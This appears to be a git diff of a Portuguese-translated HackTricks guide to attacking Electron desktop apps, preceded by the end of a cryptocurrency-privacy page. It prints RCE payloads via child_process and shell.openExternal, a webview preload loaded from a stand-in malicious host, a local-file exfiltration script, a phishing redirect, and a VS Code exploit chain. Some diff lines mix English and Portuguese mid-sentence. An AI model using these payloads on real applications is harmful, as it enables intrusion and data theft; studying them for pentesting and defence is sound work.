- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco.
- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco.
- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantias de transações pode tornar as transações rastreáveis.
## **Análise de Tráfego**
Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
## Mais
Para uma lista abrangente de ataques à privacidade e defesas, visite [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Transações Anônimas de Bitcoin
## Formas de Obter Bitcoins Anonimamente
- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro.
- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
## Serviços de Mistura
Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos Bitcoin.
## CoinJoin
**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas.
Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
## PayJoin
Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de saídas iguais do CoinJoin. Isso torna extremamente difícil de detectar e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis de transações padrão de bitcoin.
**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
# Melhores Práticas para Privacidade em Criptomoedas
## **Técnicas de Sincronização de Carteiras**
Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
## **Utilizando Tor para Anonimato**
Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar Tor para ocultar seu endereço IP, melhorando a privacidade ao interagir com a rede.
## **Prevenindo Reutilização de Endereços**
Para proteger a privacidade, é vital usar um novo endereço para cada transação. Reutilizar endereços pode comprometer a privacidade ao vincular transações à mesma entidade. Carteiras modernas desencorajam a reutilização de endereços por meio de seu design.
## **Estratégias para Privacidade de Transações**
- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
- **Evitar troco**: Optar por transações que não requerem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco.
- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade.
# **Monero: Um Farol de Anonimato**
Monero atende à necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade.
# **Ethereum: Gas e Transações**
## **Entendendo Gas**
Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado.
## **Executando Transações**
Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança.
## Referências
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
{{#include ../banners/hacktricks-training.md}}

200
src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
View File

@ -1,26 +1,26 @@
# Aplicativos Electron para Desktop
# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Introdução
## Introduction
Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora careça de alguns dos mecanismos de segurança dos navegadores modernos.
Electron combines a local backend (with **NodeJS**) and a frontend (**Chromium**), although carece de alguns dos mecanismos de segurança dos navegadores modernos.
Normalmente você pode encontrar o código do aplicativo Electron dentro de um arquivo `.asar`; para obter o código, é preciso extraí-lo:
Normalmente, você pode encontrar o código do aplicativo Electron dentro de um arquivo `.asar`; para obter o código, é preciso extraí-lo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
No código-fonte de um app Electron, dentro de `packet.json`, você pode encontrar especificado o arquivo `main.js` onde as configurações de segurança são definidas.
No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode encontrar especificado o arquivo `main.js` onde as configurações de segurança são definidas.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron tem 2 tipos de processo:
Electron possui 2 tipos de processos:
- Main Process (tem acesso completo ao NodeJS)
- Renderer Process (deve ter o acesso ao NodeJS restrito por razões de segurança)
- Main Process (possui acesso completo ao NodeJS)
- Renderer Process (deveria ter acesso ao NodeJS restrito por motivos de segurança)
![](<../../../images/image (182).png>)
@ -32,14 +32,14 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
As configurações do **processo renderer** podem ser **configuradas** no **processo main** dentro do arquivo main.js. Algumas das configurações podem **impedir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretas**.
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
A aplicação Electron **pode acessar o dispositivo** via Node APIs embora possa ser configurada para evitar isso:
The electron application **could access the device** via Node apis although it can be configure to prevent it:
- **`nodeIntegration`** - está `off` por padrão. Se ativado, permite acessar recursos do Node a partir do processo renderer.
- **`contextIsolation`** - está `on` por padrão. Se desativado, os processos main e renderer não estão isolados.
- **`nodeIntegration`** - está `off` por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process.
- **`contextIsolation`** - está `on` por padrão. Se `off`, main e renderer processes não estão isolados.
- **`preload`** - vazio por padrão.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está off por padrão. Ele vai restringir as ações que o NodeJS pode executar.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está `off` por padrão. Vai restringir as ações que o NodeJS pode executar.
- Node Integration em Workers
- **`nodeIntegrationInSubframes`** - está `off` por padrão.
- Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso das **Node.js APIs** em páginas web que são **carregadas em iframes** dentro de uma aplicação Electron.
@ -103,7 +103,7 @@ Modifique a configuração start-main e adicione o uso de um proxy como:
```
## Electron Local Code Injection
Se você pode executar localmente um Electron App, é possível fazê-lo executar código JavaScript arbitrário. Veja como em:
Se você pode executar localmente um Electron App, é possível que você consiga fazê-lo executar código JavaScript arbitrário. Veja como em:
{{#ref}}
@ -112,7 +112,7 @@ Se você pode executar localmente um Electron App, é possível fazê-lo executa
## RCE: XSS + nodeIntegration
Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página web pode usar recursos do Node.js facilmente apenas chamando `require()`. Por exemplo, a forma de executar o aplicativo calc no Windows é:
Se a **nodeIntegration** estiver definida como **on**, o JavaScript de uma página web pode usar recursos do Node.js facilmente apenas chamando o `require()`. Por exemplo, a forma de executar a aplicação calc no Windows é:
```html
<script>
require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
O script indicado nesta configuração é **carregado antes de outros scripts no renderer**, então ele tem **acesso ilimitado às Node APIs**:
O script indicado nesta configuração é **carregado antes de outros scripts no renderer**, portanto tem **acesso ilimitado às Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -149,20 +149,20 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Se `contextIsolation` estiver ativado, isto não funcionará**
> [!NOTE] > **Se `contextIsolation` estiver ativado, isso não funcionará**
## RCE: XSS + contextIsolation
O _**contextIsolation**_ introduz os **contextos separados entre os scripts da página web e o código interno JavaScript do Electron**, de modo que a execução JavaScript de cada um não interfira no outro. Esta é uma funcionalidade necessária para eliminar a possibilidade de RCE.
O _**contextIsolation**_ introduz os **contextos separados entre os scripts da página web e o código JavaScript interno do Electron** para que a execução JavaScript de cada um não afete o outro. Esta é uma funcionalidade necessária para eliminar a possibilidade de RCE.
Se os contextos não estiverem isolados, um atacante pode:
1. Executar **JavaScript arbitrário no renderer** (XSS ou navegação para sites externos)
2. **Sobrescrever o método built-in** que é usado em preload ou no código interno do Electron para tomar controle da função
2. **Sobrescrever o método built-in** que é usado no preload ou no código interno do Electron para assumir controle da função
3. **Acionar** o uso da **função sobrescrita**
4. RCE?
Existem 2 lugares onde métodos built-in podem ser sobrescritos: no preload code ou no código interno do Electron:
Existem 2 lugares onde métodos built-int podem ser sobrescritos: no preload code ou no código interno do Electron:
{{#ref}}
@ -179,24 +179,24 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Contornar evento de clique
### Bypass click event
Se houver restrições aplicadas ao clicar em um link, você pode conseguir contorná-las **fazendo um clique do meio** em vez de um clique esquerdo normal
Se houver restrições aplicadas quando você clica em um link, talvez você consiga bypassá-las **fazendo um middle click** em vez de um left click regular
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Para mais informações sobre estes exemplos veja [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Para mais informações sobre estes exemplos confira [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Ao distribuir uma aplicação desktop Electron, garantir as configurações corretas de `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **client-side remote code execution (RCE)** visando scripts de preload ou o código nativo do Electron a partir do processo principal é efetivamente prevenido com essas configurações habilitadas.
Ao distribuir um aplicativo desktop Electron, garantir as configurações corretas para `nodeIntegration` e `contextIsolation` é crucial. Está estabelecido que **client-side remote code execution (RCE)** direcionado a preload scripts ou ao código nativo do Electron a partir do processo principal é efetivamente prevenido com essas configurações em vigor.
Quando um usuário interage com links ou abre novas janelas, ouvintes de evento específicos são acionados, os quais são cruciais para a segurança e funcionalidade da aplicação:
Quando um usuário interage com links ou abre novas janelas, ouvintes de eventos específicos são acionados, os quais são cruciais para a segurança e funcionalidade da aplicação:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Esses listeners são **substituídos pela aplicação desktop** para implementar sua própria **lógica de negócio**. A aplicação avalia se um link navegado deve ser aberto internamente ou em um navegador web externo. Essa decisão é normalmente tomada por meio de uma função, `openInternally`. Se essa função retornar `false`, isso indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`.
Esses listeners são **sobrescritos pela aplicação desktop** para implementar sua própria **lógica de negócio**. A aplicação avalia se um link navegável deve ser aberto internamente ou em um navegador web externo. Essa decisão é tipicamente tomada por meio de uma função, `openInternally`. Se essa função retornar `false`, isso indica que o link deve ser aberto externamente, utilizando a função `shell.openExternal`.
**Aqui está um pseudocódigo simplificado:**
@ -204,11 +204,11 @@ Esses listeners são **substituídos pela aplicação desktop** para implementar
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
As melhores práticas de segurança do Electron JS aconselham a não aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem desencadear RCE. Para exemplos detalhados e explicações adicionais sobre este tema, consulte [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
As melhores práticas de segurança do Electron JS aconselham não aceitar conteúdo não confiável com a função `openExternal`, pois isso pode levar a RCE através de vários protocolos. Sistemas operacionais suportam diferentes protocolos que podem disparar RCE. Para exemplos detalhados e explicações adicionais sobre este tópico, pode-se consultar [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), que inclui exemplos de protocolos do Windows capazes de explorar essa vulnerabilidade.
No macos, a função `openExternal` pode ser explorada para executar comandos arbitrários, como em `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Exemplos de explorações de protocolo no Windows incluem:**
**Exemplos de exploits de protocolos do Windows incluem:**
```html
<script>
window.open(
@ -230,15 +230,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vuln pode ser encontrada em **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
Esta vulnerabilidade pode ser encontrada em **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
O **webviewTag** é um **deprecated feature** que permite o uso de **NodeJS** no **renderer process**, que deveria ser desabilitado, pois permite carregar um script dentro do contexto preload como:
O **webviewTag** é um **recurso obsoleto** que permite o uso de **NodeJS** no **renderer process**, e deve ser desativado, pois permite carregar um script dentro do preload context como:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Portanto, um atacante que consiga carregar uma página arbitrária poderia usar essa tag para **carregar um preload script arbitrário**.
Portanto, um atacante que conseguir carregar uma página arbitrária poderia usar essa tag para **carregar um preload script arbitrário**.
Esse preload script foi então abusado para chamar um **serviço IPC vulnerável (`skype-new-window`)** que estava chamando **`shell.openExternal`** para obter RCE:
Esse preload script foi então abusado para chamar um **serviço IPC vulnerável (`skype-new-window`)** que invocava **`shell.openExternal`** para obter RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Leitura de Arquivos Internos: XSS + contextIsolation
**Desativar `contextIsolation` habilita o uso de tags `<webview>`**, semelhante ao `<iframe>`, para ler e exfiltrating arquivos locais. Um exemplo fornecido demonstra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:
**Desabilitar `contextIsolation` permite o uso de tags `<webview>`**, semelhantes a `<iframe>`, para ler e exfiltrar arquivos locais. Um exemplo mostra como explorar essa vulnerabilidade para ler o conteúdo de arquivos internos:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Além disso, outro método para **ler um arquivo interno** é apresentado, destacando uma vulnerabilidade crítica de leitura de arquivos locais em um aplicativo desktop Electron. Isso envolve injetar um script para explorar o aplicativo e exfiltrate data:
Além disso, outro método para **ler um arquivo interno** é compartilhado, destacando uma vulnerabilidade crítica de leitura de arquivo local em um Electron desktop app. Isso envolve injetar um script para explorar o aplicativo e exfiltrar dados:
```html
<br /><br /><br /><br />
<h1>
@ -271,45 +271,45 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Chromium antigo**
## **RCE: XSS + chromium antigo**
Se o **chromium** usado pela aplicação for **antigo** e houver **vulnerabilidades** **conhecidas** nele, pode ser possível **explorá-lo e obter RCE através de um XSS**.\
Se o **chromium** usado pela aplicação for **antigo** e houver **vulnerabilidades** **conhecidas** nele, pode ser possível **explorar isso e obter RCE através de um XSS**.\
Você pode ver um exemplo neste **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via bypass de regex de URL interna**
Supondo que você encontrou um XSS mas você **não consegue acionar RCE ou roubar arquivos internos** você poderia tentar usá-lo para **roubar credenciais via phishing**.
Supondo que você encontrou um XSS mas você **não consegue disparar RCE ou roubar arquivos internos**, você poderia tentar usá-lo para **roubar credenciais via phishing**.
Primeiro de tudo você precisa saber o que acontece quando você tenta abrir uma nova URL, verificando o código JS no front-end:
Antes de tudo, você precisa saber o que acontece quando tenta abrir uma nova URL, verificando o código JS no front-end:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
A chamada para **`openInternally`** vai decidir se o **link** será **aberto** na **janela desktop** por ser um link pertencente à plataforma, **ou** se será aberto no **navegador como um recurso de terceiros**.
A chamada para **`openInternally`** vai decidir se o **link** será **aberto** na **janela do desktop** por ser um link pertencente à plataforma, **ou** se será aberto no **browser como um recurso 3rd party**.
No caso de o **regex** usado pela função ser **vulnerável a bypasses** (por exemplo por **não escapar os pontos dos subdomínios**) um atacante poderia abusar do XSS para **abrir uma nova janela que** ficará localizada na infraestrutura do atacante **solicitando credenciais** ao usuário:
No caso de o **regex** usado pela função ser **vulnerável a bypasses** (por exemplo por **não escapar os pontos dos subdomínios**), um atacante poderia abusar do XSS para **abrir uma nova janela que** ficará localizada na infraestrutura do atacante **pedindo credenciais** ao usuário:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protocolo
## Protocolo `file://`
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) páginas que rodam em **`file://`** têm acesso unilateral a todos os arquivos na sua máquina, o que significa que **problemas de XSS podem ser usados para carregar arquivos arbitrários** do computador do usuário. Usar um **protocolo customizado** previne problemas como esse, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) páginas executadas em **`file://`** têm acesso unilateral a todos os arquivos da sua máquina, o que significa que **vulnerabilidades XSS podem ser usadas para carregar arquivos arbitrários** do computador do usuário. Usar um **protocolo personalizado** previne problemas como esse, pois você pode limitar o protocolo a servir apenas um conjunto específico de arquivos.
## Remote module
## Módulo remote
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
O Módulo Remote do Electron permite que **os processos renderer acessem as APIs do processo principal**, facilitando a comunicação dentro de uma aplicação Electron. Contudo, habilitar esse módulo introduz riscos significativos de segurança. Ele amplia a superfície de ataque da aplicação, tornando-a mais suscetível a vulnerabilidades como cross-site scripting (XSS) attacks.
> [!TIP]
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
> Embora o módulo **remote** exponha algumas APIs do processo principal para os processos renderer, não é simples obter RCE apenas abusando dos componentes. Entretanto, os componentes podem expor informações sensíveis.
> [!WARNING]
> Many apps that still use the remote module do it in a way that **require NodeIntegration to be enabled** in the renderer process, which is a **huge security risk**.
> Muitas aplicações que ainda usam o módulo remote fazem isso de forma que **exige que o NodeIntegration esteja habilitado** no processo renderer, o que é um **enorme risco de segurança**.
Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **recommended to not use it**.
Desde o Electron 14, o módulo `remote` do Electron pode ser ativado de várias maneiras; por motivos de segurança e desempenho é **recomendado não usá-lo**.
To enable it, it'd first needed to **enable it in the main process**:
Para habilitá-lo, primeiro é necessário **ativá-lo no processo principal**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
@ -324,33 +324,33 @@ Então, o processo renderer pode importar objetos do módulo assim:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
O **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algumas **funções** interessantes expostas pelo objeto **`app`** do módulo remoto:
O **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica algumas **funções** interessantes expostas pelo objeto **`app`** do módulo remote:
- **`app.relaunch([options])`**
- **Reinicia** a aplicação ao **encerrar** a instância atual e **iniciar** uma nova. Útil para **atualizações do aplicativo** ou **mudanças significativas de estado**.
- Reinicia o app encerrando a instância atual e lançando uma nova. Útil para atualizações do app ou mudanças significativas de estado.
- **`app.setAppLogsPath([path])`**
- **Define** ou **cria** um diretório para armazenar **logs do aplicativo**. Os logs podem ser **recuperados** ou **modificados** usando **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
- Define ou cria um diretório para armazenar logs do app. Os logs podem ser recuperados ou modificados usando **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Registra** o executável atual como o **manipulador padrão** para um **protocolo** especificado. Você pode fornecer um **caminho personalizado** e **argumentos** se necessário.
- Registra o executável atual como o manipulador padrão para um protocolo especificado. Você pode fornecer um caminho personalizado e argumentos se necessário.
- **`app.setUserTasks(tasks)`**
- **Adiciona** tarefas à **categoria Tasks** na **Jump List** (no Windows). Cada tarefa pode controlar como o aplicativo é **iniciado** ou quais **argumentos** são passados.
- Adiciona tasks à categoria Tasks no Jump List (no Windows). Cada task pode controlar como o app é iniciado ou quais argumentos são passados.
- **`app.importCertificate(options, callback)`**
- **Importa** um **certificado PKCS#12** para o **repositório de certificados** do sistema (apenas Linux). Um **callback** pode ser usado para tratar o resultado.
- Importa um certificado PKCS#12 para o armazenamento de certificados do sistema (apenas Linux). Um callback pode ser usado para tratar o resultado.
- **`app.moveToApplicationsFolder([options])`**
- **Move** o aplicativo para a **Applications folder** (no macOS). Ajuda a garantir uma **instalação padrão** para usuários Mac.
- Move o app para a Applications folder (no macOS). Ajuda a garantir uma instalação padrão para usuários Mac.
- **`app.setJumpList(categories)`**
- **Define** ou **remove** uma **Jump List customizada** no **Windows**. Você pode especificar **categorias** para organizar como as tarefas aparecem ao usuário.
- Define ou remove um Jump List customizado no Windows. Você pode especificar categorias para organizar como as tasks aparecem para o usuário.
- **`app.setLoginItemSettings(settings)`**
- **Configura** quais **executáveis** são iniciados no **login** juntamente com suas **opções** (apenas macOS e Windows).
- Configura quais executáveis são iniciados no login junto com suas opções (apenas macOS e Windows).
Example:
Exemplo:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences módulo
## módulo systemPreferences
A **API principal** para acessar as preferências do sistema e **emitir eventos do sistema** no Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, e **setUserDefault** são todos **parte deste** módulo.
A **API principal** para acessar as preferências do sistema e **emitir eventos do sistema** no Electron. Métodos como **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** fazem todos **parte deste** módulo.
**Exemplo de uso:**
```javascript
@ -367,23 +367,23 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Escuta** notificações nativas do **macOS** usando NSDistributedNotificationCenter.
* Antes do **macOS Catalina**, era possível capturar **todas** as notificações distribuídas passando **nil** para CFNotificationCenterAddObserver.
* Após **Catalina / Big Sur**, aplicativos em sandbox ainda podem **subscribir-se** a **muitos eventos** (por exemplo, **bloqueios/desbloqueios de tela**, **montagens de volume**, **atividade de rede**, etc.) registrando notificações **pelo nome**.
* **Escuta** por **native macOS notifications** usando NSDistributedNotificationCenter.
* Antes do **macOS Catalina**, você podia sniffar **todas** as distributed notifications passando **nil** para CFNotificationCenterAddObserver.
* Após **Catalina / Big Sur**, apps sandboxed ainda podem **subscribe** a **muitos eventos** (por exemplo, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) registrando notifications **por name**.
### **getUserDefault / setUserDefault**
* **Interage** com **NSUserDefaults**, que armazena preferências **de aplicativo** ou **globais** no macOS.
* **Interage** com **NSUserDefaults**, que armazena preferências **da aplicação** ou **globais** no macOS.
* **getUserDefault** pode **recuperar** informações sensíveis, como **locais de arquivos recentes** ou **localização geográfica do usuário**.
* **getUserDefault** pode **recuperar** informação sensível, como **localizações de arquivos recentes** ou **localização geográfica do usuário**.
* **setUserDefault** pode **modificar** essas preferências, potencialmente afetando a **configuração** de um app.
* Em **versões antigas do Electron** (antes da v8.3.0), apenas o **conjunto padrão** de NSUserDefaults era **acessível**.
* Em **versões antigas do Electron** (antes da v8.3.0), apenas o **standard suite** de NSUserDefaults era **acessível**.
## Shell.showItemInFolder
Esta função mostra o arquivo dado em um gerenciador de arquivos, que **poderia executar automaticamente o arquivo**.
Esta função mostra o arquivo dado em um file manager, o que **poderia executar automaticamente o arquivo**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
@ -406,8 +406,8 @@ pentesting-web/content-security-policy-csp-bypass/
This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload sent a request to `/stealID` to exfiltrate the target webview’s extensionId.
- Constructing target webview URL: Usando o ID leak para construir `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
@ -418,7 +418,7 @@ Example RCE primitive in the final context
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
Leitura relacionada sobre problemas de confiança do postMessage:
Leitura relacionada sobre questões de confiança do postMessage:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
@ -426,16 +426,16 @@ Leitura relacionada sobre problemas de confiança do postMessage:
## **Ferramentas**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar configurações incorretas e antipadrões de segurança em aplicações baseadas em Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin de código aberto para o VS Code para aplicações Electron que usa Electronegativity.
- [**Electronegativity**](https://github.com/doyensec/electronegativity) é uma ferramenta para identificar configurações incorretas e anti-patterns de segurança em aplicações baseadas em Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) é um plugin de código aberto para VS Code para aplicações Electron que usa Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) para verificar bibliotecas de terceiros vulneráveis
- [**Electro.ng**](https://electro.ng/): É pago
- [**Electro.ng**](https://electro.ng/): É necessário comprá-lo
## Laboratórios
Em [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) você pode encontrar um laboratório para explorar aplicações Electron vulneráveis.
Alguns comandos que vão ajudar no laboratório:
Alguns comandos que vão te ajudar com o laboratório:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -458,18 +458,18 @@ cd vulnerable1
npm install
npm start
```
